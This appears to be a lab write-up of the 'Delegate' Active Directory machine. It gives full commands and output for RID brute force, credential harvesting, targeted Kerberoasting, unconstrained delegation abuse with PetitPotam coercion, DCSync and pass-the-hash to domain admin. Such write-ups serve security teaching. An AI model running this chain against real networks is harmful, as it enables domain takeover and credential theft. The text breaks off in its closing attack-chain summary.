Post

Delegate

Writeup for HackTheBox Delegate machine

Delegate

Executive Summary

Delegate is a Windows Active Directory machine on VulnLab that chains five misconfigured-by-design AD primitives into full domain compromise without any memory-safety bug or unpatched CVE. Every step abuses legitimate Kerberos or LDAP functionality that was left overly permissive.

Attack Chain:

  1. Anonymous RID Brute Force — Full Account Enumeration: The Domain Controller accepts null SMB sessions, which permits SID/name translation over the SAMR pipe without credentials. netexec --rid-brute walks the entire RID space and returns all user and group names, including a non-standard group named delegation admins — a direct hint at the vulnerability class the machine is built around.

  2. NETLOGON Script — Hardcoded Credential: The NETLOGON share is world-readable by design (domain-joined machines pull logon scripts before any user authenticates). The users.bat logon script contains a hardcoded plaintext credential for A.Briggs, requiring no exploitation — only anonymous SMB read access.

  3. bloodyAD — Write ACE Discovery — Targeted Kerberoasting: Authenticating to LDAP as A.Briggs and querying writable objects with bloodyAD get writable reveals that A.Briggs holds WRITE over N.Thompson’s user object and CREATE_CHILD over the domain’s AD-integrated DNS zone. The write access is abused to register a temporary SPN on N.Thompson, manufacturing the condition required for Kerberoasting. The resulting TGS-REP hash is cracked offline with Hashcat in under five seconds, yielding N.Thompson’s credential and a WinRM foothold.

  4. Rogue Computer Account — DNS Record — Unconstrained Delegation: The default ms-DS-MachineAccountQuota of 10 allows any authenticated user to add computer accounts to the domain. A rogue computer evil$ is created, its userAccountControl is set to TRUSTED_FOR_DELEGATION via bloodyAD, and a DNS A record for evil.delegate.vl pointing to the attacker’s host is injected into the AD-integrated DNS zone using the CREATE_CHILD right discovered in step 3.

  5. PetitPotam Coercion — TGT Capture — DCSync — Domain Administrator: A krbrelayx listener running as evil$ catches the Domain Controller’s machine TGT when PetitPotam coerces DC1 into authenticating outbound over MS-EFSRPC. The captured DC1$ TGT is loaded into the Kerberos credential cache and used to perform a DCSync replication via DRSUAPI, dumping the Administrator’s NT hash. Pass-the-Hash over WinRM completes the compromise.


Reconnaissance

Nmap Scan

A two-phase Nmap scan is conducted. The first phase rapidly identifies all open ports across all 65,535 TCP ports; the second phase runs service version detection and default NSE scripts against only the confirmed open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kali@kali$ nmap -sS -Pn -min-rate 5000 --max-retries 1 -T4 -p- 10.129.234.69

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-13 10:33 +0000
Warning: 10.129.234.69 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.129.234.69
Host is up (0.36s latency).
Not shown: 65508 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49671/tcp open  unknown
52395/tcp open  unknown
52396/tcp open  unknown
52401/tcp open  unknown
52801/tcp open  unknown
53526/tcp open  unknown
60068/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 27.40 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
kali@kali$ sudo nmap -Pn -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,21,80 10.129.234.69

PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
53/tcp   open     domain        Simple DNS Plus
80/tcp   filtered http
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-13 10:43:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl, Site: Default-First-Site-Name)
445/tcp  open     microsoft-ds?
464/tcp  open     kpasswd5?
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl, Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
3389/tcp open     ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-07-13T10:44:48+00:00; +3m24s from scanner time.
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Not valid before: 2026-07-12T10:29:16
|_Not valid after:  2027-01-11T10:29:16
| rdp-ntlm-info:
|   Target_Name: DELEGATE
|   NetBIOS_Domain_Name: DELEGATE
|   NetBIOS_Computer_Name: DC1
|   DNS_Domain_Name: delegate.vl
|   DNS_Computer_Name: DC1.delegate.vl
|   DNS_Tree_Name: delegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-07-13T10:44:08+00:00
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 3m23s, deviation: 0s, median: 3m23s
| smb2-time:
|   date: 2026-07-13T10:44:08
|_  start_date: N/A

Service Enumeration

PortServiceNotes
53/tcpDNSSimple DNS Plus — standard domain controller DNS. AD-integrated DNS zones are the target for DNS record injection later.
88/tcpKerberosConfirms the target is a domain controller. The clock skew of 3m23s must be corrected before any Kerberos ticket operation.
389/tcp, 636/tcp, 3268/tcp, 3269/tcpLDAP / LDAPS / Global CatalogThe LDAP banner explicitly leaks the domain name delegate.vl and site name.
445/tcpSMBSMB2 with signing required — relay attacks are blocked. The critical finding is that the server also reports Null Auth:True during anonymous enumeration.
3389/tcpRDPThe NTLM negotiation blob discloses DC1.delegate.vl, DELEGATE, and the exact Windows Server build 10.0.20348 (Server 2022).
5985/tcpWinRMExposed for remote PowerShell sessions. Any domain credential with appropriate group membership provides an interactive shell.

Two details from the scan warrant immediate attention. The rdp-ntlm-info script discloses the DC’s fully qualified hostname and NetBIOS domain name without requiring authentication. The clock skew of 3m23s is within Kerberos’s default five-minute tolerance but close enough to require monitoring; any ticket operations that fail with KRB_AP_ERR_SKEW should prompt a time sync against the DC.

The domain is added to the local resolver:

1
kali@kali$ sudo sh -c 'echo "10.129.234.69 DC1.delegate.vl delegate.vl" >> /etc/hosts'

Anonymous Enumeration — RID Brute Force

Before attempting any credential-based operation, the SMB service is tested for null session access. RID brute forcing works by walking Active Directory’s well-known SID structure (<domain-SID>-<RID>) and requesting the DC to translate each RID to an account name through the SAMR named pipe. The technique requires only that anonymous SID/name translation is not explicitly disabled — it does not need any valid password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
kali@kali$ netexec smb 10.129.234.69 -u "guest" -p "" --rid-brute

SMB   10.129.234.69   445   DC1   [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB   10.129.234.69   445   DC1   [+] delegate.vl\guest:
SMB   10.129.234.69   445   DC1   498: DELEGATE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB   10.129.234.69   445   DC1   500: DELEGATE\Administrator (SidTypeUser)
SMB   10.129.234.69   445   DC1   501: DELEGATE\Guest (SidTypeUser)
SMB   10.129.234.69   445   DC1   502: DELEGATE\krbtgt (SidTypeUser)
SMB   10.129.234.69   445   DC1   512: DELEGATE\Domain Admins (SidTypeGroup)
SMB   10.129.234.69   445   DC1   513: DELEGATE\Domain Users (SidTypeGroup)
SMB   10.129.234.69   445   DC1   514: DELEGATE\Domain Guests (SidTypeGroup)
SMB   10.129.234.69   445   DC1   515: DELEGATE\Domain Computers (SidTypeGroup)
SMB   10.129.234.69   445   DC1   516: DELEGATE\Domain Controllers (SidTypeGroup)
SMB   10.129.234.69   445   DC1   517: DELEGATE\Cert Publishers (SidTypeAlias)
SMB   10.129.234.69   445   DC1   518: DELEGATE\Schema Admins (SidTypeGroup)
SMB   10.129.234.69   445   DC1   519: DELEGATE\Enterprise Admins (SidTypeGroup)
SMB   10.129.234.69   445   DC1   520: DELEGATE\Group Policy Creator Owners (SidTypeGroup)
SMB   10.129.234.69   445   DC1   521: DELEGATE\Read-only Domain Controllers (SidTypeGroup)
SMB   10.129.234.69   445   DC1   522: DELEGATE\Cloneable Domain Controllers (SidTypeGroup)
SMB   10.129.234.69   445   DC1   525: DELEGATE\Protected Users (SidTypeGroup)
SMB   10.129.234.69   445   DC1   526: DELEGATE\Key Admins (SidTypeGroup)
SMB   10.129.234.69   445   DC1   527: DELEGATE\Enterprise Key Admins (SidTypeGroup)
SMB   10.129.234.69   445   DC1   553: DELEGATE\RAS and IAS Servers (SidTypeAlias)
SMB   10.129.234.69   445   DC1   571: DELEGATE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB   10.129.234.69   445   DC1   572: DELEGATE\Denied RODC Password Replication Group (SidTypeAlias)
SMB   10.129.234.69   445   DC1   1000: DELEGATE\DC1$ (SidTypeUser)
SMB   10.129.234.69   445   DC1   1101: DELEGATE\DnsAdmins (SidTypeAlias)
SMB   10.129.234.69   445   DC1   1102: DELEGATE\DnsUpdateProxy (SidTypeGroup)
SMB   10.129.234.69   445   DC1   1104: DELEGATE\A.Briggs (SidTypeUser)
SMB   10.129.234.69   445   DC1   1105: DELEGATE\b.Brown (SidTypeUser)
SMB   10.129.234.69   445   DC1   1106: DELEGATE\R.Cooper (SidTypeUser)
SMB   10.129.234.69   445   DC1   1107: DELEGATE\J.Roberts (SidTypeUser)
SMB   10.129.234.69   445   DC1   1108: DELEGATE\N.Thompson (SidTypeUser)
SMB   10.129.234.69   445   DC1   1121: DELEGATE\delegation admins (SidTypeGroup)

The netexec RID brute-force output showing the full domain account listing returned under a null SMB session, including the non-standard delegation admins group at RID 1121:

The netexec RID brute-force output against the Delegate domain controller, showing all domain users and groups resolved anonymously via the SAMR pipe. The delegation admins group at RID 1121 and the DC1$ machine account at RID 1000 are visible among the results.

(Null Auth:True) in the banner confirms the anonymous session is accepted, which is what enables the SAMR enumeration. Two entries are particularly significant. DC1$ at RID 1000 is the Domain Controller’s own machine account — a high-value target for delegation attacks because it holds Replicating Directory Changes rights for legitimate DC-to-DC synchronisation. The custom group delegation admins at RID 1121, with the description “Group to allow delegation in the domain”, names the vulnerability class before any credential has even been found.

The recovered usernames are saved for later use:

1
2
3
4
5
6
7
8
9
10
11
kali@kali$ cat > users_delegate.txt << 'EOF'
Administrator
Guest
krbtgt
DC1$
A.Briggs
b.Brown
R.Cooper
J.Roberts
N.Thompson
EOF

NETLOGON Share — Hardcoded Credential Discovery

With usernames in hand but no passwords, the NETLOGON share is examined. This share is world-readable by design: domain-joined machines must be able to download logon scripts and Group Policy objects before any user credentials have been validated. Administrators occasionally store logon scripts on this share that contain hardcoded credential pairs for legacy automation — a misconfiguration that requires no exploitation beyond anonymous SMB read access:

1
2
3
4
kali@kali$ smbclient //10.129.234.69/NETLOGON -N
smb: \> ls
  users.bat
smb: \> get users.bat

The users.bat logon script contains a plaintext credential pair:

1
2
Username: A.Briggs
Password: P4ssw0rd1#123

The contents of the recovered NETLOGON logon script, showing the plaintext credential for A.Briggs embedded directly in the batch file:

The contents of the users.bat logon script downloaded from the NETLOGON share, showing the hardcoded username A.Briggs and plaintext password P4ssw0rd1#123 embedded directly in the script body.


Authenticated LDAP Enumeration

With a valid domain credential, the LDAP service becomes fully queryable. Even a low-privilege domain account has read access to most directory objects, including user attributes, group memberships, and — with the right tooling — ACL entries. The credential is first validated against SMB to confirm it is active:

1
2
3
4
5
6
7
8
9
10
11
12
kali@kali$ netexec smb 10.129.234.69 -u 'A.Briggs' -p 'P4ssw0rd1#123' --shares

SMB   10.129.234.69   445   DC1   [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB   10.129.234.69   445   DC1   [+] delegate.vl\A.Briggs:P4ssw0rd1#123
SMB   10.129.234.69   445   DC1   [*] Enumerated shares
SMB   10.129.234.69   445   DC1   Share           Permissions            Remark
SMB   10.129.234.69   445   DC1   -----           -----------            ------
SMB   10.129.234.69   445   DC1   ADMIN$                                 Remote Admin
SMB   10.129.234.69   445   DC1   C$                                     Default share
SMB   10.129.234.69   445   DC1   IPC$            READ                   Remote IPC
SMB   10.129.234.69   445   DC1   NETLOGON        READ                   Logon server share
SMB   10.129.234.69   445   DC1   SYSVOL          READ                   Logon server share

The credential is confirmed active. A full LDAP user enumeration follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kali@kali$ netexec ldap 10.129.234.69 -u 'A.Briggs' -p 'P4ssw0rd1#123' --users

LDAP  10.129.234.69   389   DC1   [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP  10.129.234.69   389   DC1   [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP  10.129.234.69   389   DC1   [*] Enumerated 8 domain users: delegate.vl
LDAP  10.129.234.69   389   DC1   -Username-        -Last PW Set-        -BadPW-  -Description-
LDAP  10.129.234.69   389   DC1   Administrator     2023-08-26 15:46:29  1        Built-in account for administering the computer/domain
LDAP  10.129.234.69   389   DC1   Guest             <never>              9        Built-in account for guest access to the computer/domain
LDAP  10.129.234.69   389   DC1   krbtgt            2023-08-26 09:40:08  0        Key Distribution Center Service Account
LDAP  10.129.234.69   389   DC1   A.Briggs          2023-08-26 12:55:15  0
LDAP  10.129.234.69   389   DC1   b.Brown           2023-08-26 12:55:15  0
LDAP  10.129.234.69   389   DC1   R.Cooper          2023-08-26 12:55:15  0
LDAP  10.129.234.69   389   DC1   J.Roberts         2023-08-26 12:55:15  0
LDAP  10.129.234.69   389   DC1   N.Thompson        2023-09-09 15:17:16  0

The authenticated LDAP user enumeration showing all eight domain accounts, with N.Thompson’s Last PW Set date visibly later than all other standard accounts:

The netexec LDAP user enumeration output showing eight domain accounts. N.Thompson's last password set date is 2023-09-09, noticeably later than all other non-privileged accounts which share a 2023-08-26 date, indicating this account was created or modified after the initial domain build.

N.Thompson’s password set date of 2023-09-09 is noticeably later than every other standard user account (all set 2023-08-26). This pattern is consistent with the account being set up separately — likely as the intended pivot target. The group listing confirms the significance of delegation admins:

1
2
3
4
5
6
7
8
9
kali@kali$ netexec ldap 10.129.234.69 -u 'A.Briggs' -p 'P4ssw0rd1#123' --groups

LDAP  10.129.234.69   389   DC1   -Group-                                   -Members- -Description-
LDAP  10.129.234.69   389   DC1   Administrators                            3         Administrators have complete and unrestricted access to the computer/domain
LDAP  10.129.234.69   389   DC1   Domain Admins                             1         Designated administrators of the domain
LDAP  10.129.234.69   389   DC1   Enterprise Admins                         1         Designated administrators of the enterprise
LDAP  10.129.234.69   389   DC1   Remote Management Users                   1         Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service).
LDAP  10.129.234.69   389   DC1   DnsAdmins                                 0         DNS Administrators Group
LDAP  10.129.234.69   389   DC1   delegation admins                         2         Group to allow delegation in the domain

(Output trimmed to the groups relevant to this path; the full output also lists all standard built-in groups.)

Remote Management Users has exactly one member, which will be identified as N.Thompson — confirming that cracking that account’s credential will yield a direct WinRM shell.


Finding the Write Path — bloodyAD ACE Discovery

Rather than running a full BloodHound collection for a single ACL check, bloodyAD get writable queries the DC for every object the current principal holds write-type rights over. This is significantly faster for targeted enumeration and operates entirely over LDAP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kali@kali$ bloodyAD --host 10.129.234.69 -u A.Briggs -p 'P4ssw0rd1#123' -d delegate.vl get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=delegate,DC=vl
permission: WRITE

distinguishedName: CN=A.Briggs,CN=Users,DC=delegate,DC=vl
permission: WRITE

distinguishedName: CN=N.Thompson,CN=Users,DC=delegate,DC=vl
permission: WRITE

distinguishedName: DC=Delegate.vl,CN=MicrosoftDNS,DC=DomainDnsZones,DC=delegate,DC=vl
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.debugger.vl,CN=MicrosoftDNS,DC=ForestDnsZones,DC=delegate,DC=vl
permission: CREATE_CHILD

Two entries define the entire privilege escalation path. A.Briggs holds WRITE over N.Thompson’s user object, meaning any non-protected LDAP attribute on that object — including servicePrincipalName — can be written without any further privilege. Writing an arbitrary SPN onto an account that would not otherwise have one is the basis of a targeted Kerberoasting attack: it manufactures, on demand, exactly the condition that standard Kerberoasting requires (a user account with a registered SPN), on an account that was never intended to be kerberoastable. The CREATE_CHILD right on the AD-integrated DNS zone is equally important: it allows any authenticated LDAP operation to insert new A records directly into the domain’s authoritative DNS, which is required later to make the rogue evil.delegate.vl hostname resolvable.


Targeted Kerberoasting — N.Thompson Credential Recovery

targetedKerberoast.py automates the write-SPN-then-request-TGS sequence: it temporarily registers a synthetic SPN on N.Thompson, requests a TGS for that SPN from the KDC, captures the TGS-REP hash, and optionally removes the SPN afterward:

1
kali@kali$ python3 targetedKerberoast.py -v -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'

The targeted Kerberoast output showing the TGS-REP hash captured for N.Thompson after a temporary SPN is written to the account:

The targetedKerberoast.py output showing the tool writing a temporary SPN to N.Thompson's user object, requesting a TGS-REP from the KDC, and printing the resulting Kerberos 5 RC4-HMAC hash in hashcat-compatible format.

The captured hash is fed to Hashcat using mode 13100 (Kerberos 5 TGS-REP etype 23, RC4-HMAC):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kali@kali$ hashcat -m 13100 nthompson_hash.txt /usr/share/wordlists/rockyou.txt --force

hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-10850H CPU @ 2.70GHz, 6859/13719 MB (2048 MB allocatable), 12MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385

$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$2759019f4abf1a75ca4868bc1a17e019$7ec7d2084ee02804f4818399ae88ac55eb032f34f083211055f1d592aae4c565f5f8a557f7114c2cf9f49f8eff29f2c8cf2bd1d15040640893264e2ebdd361548ee81f46e4961a95588e068a2c026f86b96e5af56d80d466cc6936a9a979966dca4d90d3846991f58c170e7b7a3fbe220be6767048271b9754289c2e7013b6ea00ae6ad3ad1075aad80031000971aab7e432b6280c663c8bd6f4a4afaadb464753147fa54aebcae2ee19d6e9b5fc9578caf133c7b4f9ac8e1fcabeb73fd38799ff0815b094acbd46c9d89dd391a625b005a748b881141db695b143c9bf0a55d43df772c0a6db923c8a46ebfc328b9417cf3d5a68368adee9292a2ce9d846dea1c15a39223748534f67c0932c52ff94737b0113d92efc36559694e117339bad9c646e069c9b3bbf18d45fa114d581da490ca7dfcabc49018fc19a78ea949920a33e8bb503657ef3ea2ec7f7931ccbedf28c36af73d6774f022bf3d7f153c518e609448ce3c10483c219c9aa7036c6b50d5b3adb0f24083c46ac64a5ebc236fd078ce1f538d5ced1c8614ad30a077427e1c0bf6d512dff7f56e1ed4d3254ad9f1fcb38b740555c66424f98704ed071a593d39b291fd161c98d9ad18200eb6e5ab4d9ddf46d56c575a98101ce9afd96003aa14880325e3376f9c882a7a8d5ed0353c1a28366f13aa6e5486fa970414c1da919dc75dc3a3b950f01610339c035a7acb38c402c16b0fba4c3ae9948d1826164c2d3ec266ea7549bd384b5bd164cc192e562363228a4ec5d86f4df7e9f244d8549d5d55286a73a39e7b0a205f84e5361756a9283e84db8c0d8398b4a79f43bbab518f697bf3a3d46c21c305666c1eae10c426d20001afd2ed4b3f427a838d2f7022832401f91d1db5f55c0065b94310daf8700a934234dedc94d25679dc05c79e4185d16de5ebb6816fd0a3eefb1eafa3fd478ac936dc1d15cb60dc17479f8b94df4a3cba7bfce692df68d325f91e34e8cc53994e265da0c16a0d9fd25c96806d67a1daf2116445d40a954f7a8b8dcf3b4a3b368dd2d4333268263067273d9868a6f76d5d8726bb7d01ad26cb7093d18d4917dc960dd0ae42553422241f9efa6ab50cfcc27c0ffd30ff0959394e8689ac182075f004b2b276720c89a2ebd7e611fec5dfee010ee1dc400a704fd022e98c6561314d8ef1180eacfdc300bf7fc978c2f01b791b19342393da0ff555ec9e6377dfc429455b3d15857de0463125ffc0b01423edcc4f4c0fddd7ae610498ba42832efe97b520488e72b325a1e8ab482aea3651e0df092b896573ad813501b412374f1d99f0b4d34ab3ec203fab218339ff08e6e15d81fe77ce6a80f2b82c9043e64767648aa421c8b25045c8ec168ae0e6f8b876f11bb2562bab7c4346a0ead84aa530dcfb2a430e4370cee5de15e1b15cae1a3fb6f8ea0f4d180d31715c7c367622787:KALEB_2341

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Time.Started.....: Mon Jul 13 18:05:49 2026, (4 secs)
Speed.#01........:  3124.3 kH/s (2.68ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11010048/14344385 (76.76%)

The hash cracks in four seconds at approximately 3.1 MH/s on CPU alone. The speed is characteristic of RC4-HMAC (etype 23) TGS hashes: the underlying RC4 cipher has a significantly lower computational cost per candidate than the AES-based etypes (17 and 18), making dictionary attacks against etype 23 dramatically faster. Modern AD environments that enforce AES-only encryption would produce much more resistant hashes. The recovered credential is:

1
N.Thompson:KALEB_2341

N.Thompson is the sole member of Remote Management Users, confirming that WinRM access will be available:

1
2
3
4
kali@kali$ evil-winrm -i 10.129.234.69 -u N.Thompson -p 'KALEB_2341'

*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami
delegate\n.thompson

The Evil-WinRM session established as N.Thompson on the Delegate domain controller:

Evil-WinRM terminal output showing a successful WinRM session established as delegate\n.thompson on DC1.delegate.vl, confirming that N.Thompson has Remote Management Users group membership.

The user flag is retrieved from N.Thompson’s Desktop:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\N.Thompson> cd Desktop
*Evil-WinRM* PS C:\Users\N.Thompson\Desktop> ls

    Directory: C:\Users\N.Thompson\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         7/13/2026  11:35 AM             34 user.txt

N.Thompson is not a Domain Admin, so privilege escalation continues by pursuing the delegation path the machine is built around.


Rogue Machine Account and Unconstrained Delegation Setup

What is Unconstrained Delegation?

Unconstrained delegation is a Kerberos configuration flag (TRUSTED_FOR_DELEGATION in the userAccountControl bitmask) that instructs the KDC to include a full copy of the authenticating user’s TGT inside the service ticket issued to the delegating service. When a user authenticates to a service that is trusted for unconstrained delegation, the KDC embeds their TGT in the TKTDELEGATION field of the service ticket. The service can then use that embedded TGT to impersonate the user against any other service in the domain — hence “unconstrained.” In practice, any principal that controls a host marked TRUSTED_FOR_DELEGATION can harvest the TGTs of every account that authenticates to it, including the Domain Controller’s own machine account if it can be coerced.

Creating the Rogue Computer Account

The default ms-DS-MachineAccountQuota attribute in Active Directory is set to 10, which permits any authenticated domain user to add up to 10 computer accounts to the domain without any additional privileges. impacket-addcomputer creates evil$ over LDAPS:

1
2
3
4
5
kali@kali$ python3 /home/kali/.local/bin/addcomputer.py -dc-ip 10.129.234.69 -computer-name evil$ -computer-pass 'P@$$word123!' delegate.vl/N.Thompson:KALEB_2341

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account evil$ with password P@$$word123!.

Enabling Unconstrained Delegation

The userAccountControl bitmask on evil$ is modified to set the TRUSTED_FOR_DELEGATION flag. bloodyAD performs this as a single LDAP attribute write authenticated as N.Thompson:

1
2
3
kali@kali$ bloodyAD --host 10.129.234.69 -u N.Thompson -p KALEB_2341 -d delegate.vl add uac evil$ -f TRUSTED_FOR_DELEGATION

[+] ['TRUSTED_FOR_DELEGATION'] property flags added to evil$'s userAccountControl

Injecting the DNS Record

For the coercion to succeed, the target DC must be able to resolve evil.delegate.vl to the attacker’s IP address. The CREATE_CHILD right on the AD-integrated DNS zone, discovered earlier via bloodyAD get writable, allows direct LDAP writes into the DNS partition. dnstool.py inserts an A record pointing evil.delegate.vl at the attacker’s machine:

1
2
3
4
5
6
7
kali@kali$ python3 dnstool.py -u 'delegate.vl\N.Thompson' -p KALEB_2341 -r evil.delegate.vl -a add -t A -d 10.10.14.95 -dns-ip 10.129.234.69 DC1.delegate.vl

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

The -a add -t A flags create a plain A record. The record is written directly into the MicrosoftDNS container in the DomainDnsZones partition, which the Windows DNS service automatically picks up and begins resolving without requiring a service restart.


Coercion and TGT Capture — PetitPotam and krbrelayx

Preparing the krbrelayx Listener

To operate as evil$ at the Kerberos level, its NTLM hash is derived from the known password. The NTLM hash is computed as the MD4 hash of the UTF-16LE-encoded password — a simple one-way operation that produces the credential format required by Kerberos tooling:

1
2
3
4
5
6
7
8
kali@kali$ python3 << EOF
import hashlib
password = "P@\$\$word123!"
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
print(f"NTLM Hash: {ntlm_hash}")
EOF

NTLM Hash: e606ba0be45573509f873c0a6f79e7ec

krbrelayx is started with the computed hash. Because evil$ is marked TRUSTED_FOR_DELEGATION and the DNS record for evil.delegate.vl now resolves to the attacker’s host, any Kerberos authentication directed at evil.delegate.vl will include the authenticating principal’s TGT in the service ticket, which krbrelayx will extract and write to disk:

1
kali@kali$ python3 krbrelayx.py -hashes :e606ba0be45573509f873c0a6f79e7ec

Coercing the Domain Controller with PetitPotam

PetitPotam abuses the EfsRpcOpenFileRaw method of the MS-EFSRPC (Encrypting File System Remote Protocol) interface to force any Windows host — including Domain Controllers — into initiating an outbound authentication attempt toward an arbitrary UNC path. This interface was never intended as a mechanism for triggering remote authentication, but its design allows the caller to specify a target path that the DC will attempt to open, causing an outbound SMB or Kerberos authentication:

1
2
3
4
5
6
7
kali@kali$ python3 PetitPotam.py -u 'evil$' -p 'P@$$word123!' -d delegate.vl -dc-ip 10.129.234.69 evil.delegate.vl 10.129.234.69

[*] Trying pipe lsarpc
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[+] Attack worked!

The PetitPotam coercion output confirming that the DC1 domain controller was successfully coerced into authenticating toward evil.delegate.vl:

PetitPotam terminal output showing the tool connecting to the DC1 domain controller via MS-EFSRPC, successfully binding to the EFS RPC interface, and triggering an outbound authentication attempt toward evil.delegate.vl, with the final line confirming the attack worked.

Because evil$ is trusted for unconstrained delegation, when DC1 initiates the outbound Kerberos authentication toward evil.delegate.vl, the KDC embeds DC1$’s own TGT in the service ticket. krbrelayx receives this ticket, extracts the embedded TGT, and writes it to disk as a .ccache file — the standard Kerberos credential cache format used by MIT Kerberos and Impacket:

1
2
kali@kali$ ls -la *.ccache
DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache

DCSync and Domain Compromise

DC1$ is the Domain Controller’s own machine account. Because Domain Controllers must replicate directory data with one another, DC1$ holds the Replicating Directory Changes and Replicating Directory Changes All extended rights by default. A valid TGT for DC1$ is therefore sufficient to perform a DCSync attack — replicating domain credentials via the DRSUAPI protocol as if the attacker’s host were a peer Domain Controller.

The credential cache file is loaded into the environment variable KRB5CCNAME, which instructs all MIT Kerberos-aware tooling to use it for authentication:

1
kali@kali$ export KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache

impacket-secretsdump performs the DCSync replication, requesting a full dump of the NTDS database via DRSUAPI with the -just-dc-ntlm flag to limit output to NT hashes:

1
2
3
kali@kali$ impacket-secretsdump -k -no-pass DC1.delegate.vl

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::

The Administrator NT hash is used directly for Pass-the-Hash authentication over WinRM — no password cracking is required:

1
kali@kali$ evil-winrm -i 10.129.234.69 -u Administrator -H c32198ceab4cc695e65045562aa3ee93

The Evil-WinRM session established as Administrator via Pass-the-Hash using the NT hash recovered from the DCSync dump:

Evil-WinRM terminal output showing a successful WinRM session established as delegate\administrator using Pass-the-Hash with the NT hash recovered from the DCSync operation against DC1.delegate.vl.

The root flag is retrieved from the Administrator’s Desktop:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

    Directory: C:\Users\Administrator\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         7/13/2026  11:35 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
c4e3f19dc49da9002e74c832d4b188ac

Full domain compromise achieved.


Complete Attack Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Anonymous SMB null session
  → RID brute force via SAMR — full user and group listing including "delegation admins"
